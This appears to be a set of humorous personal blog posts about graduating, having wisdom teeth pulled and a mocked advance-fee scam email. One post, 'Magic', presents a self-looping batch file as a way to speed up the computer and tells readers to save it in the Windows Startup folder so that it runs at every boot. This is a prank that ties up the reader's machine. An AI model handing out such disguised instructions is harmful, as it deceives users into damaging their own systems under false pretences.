This is pretty well done...

Enjoy!

The jokes on you.

This is awesome!

Wisdom

Well, today I celebrate my graduation by having some stranger yank my wisdom teeth out of my skull... I find that slightly ironic... I spent all these years getting wiser and I'm going to lose it all in a couple hours... maybe they'll let me keep them in a jar? You know, just in case I need them later.

Earthly Funds

So, I got an email today... It was very urgent. I thought I would share it with the masses:

I am an old woman suffering from cancer disease. I live in USA. I lost my husband and two children years back in plane crash, I called a clergyman who ministered to me that I should share my wealth and properties, to motherless babies/orphanage homes/people that need money for survival.

I have 17.5 millions US dollars to give out. So I am reaching you to assist me in distribution my earthly funds. I will reward you with part of the money in helping me. I am presently in the hospital.

Clearly this woman in USA has lost her children and husband in a tragic plane crash and to add insult to injury, she is going to die soon from cancer disease.

Does anyone need some earthly funds? ...because I fully intend to get my cut for helping her out!

P.S. How many motherless babies have the internet?

Magic

Today, I'm going to give you a magic trick!

This is a quick and easy way to speed up the performance on your computer. Give it a try!

Step 1: Open notepad.

Step 2: copy and paste the following code

@echo off
:start
magic.bat
GOTO start

Step 3: Go to File and Save As...

Step 4: Copy and paste the following text into the File name...

For Windows Vista:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\magic.bat

For Windows XP:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\magic.bat

For older computers... well... go buy a new computer and give this a shot...

Step 5: Save.

Step 6: Restart your computer

Step 7: LOL!

Last day...

Tomorrow is my last day of classes... EVER!

I'll never learn again...

Clockwise... counterclockwise.

So, I'm graduating in 2 weeks. Again.

It feels like I graduate once every few years... preschool, kindergarten, grade school, middle school, high school, community college, university...

Someone asked me if I want to go to grad school. Why? I've already got more tassels than 3 strippers combined!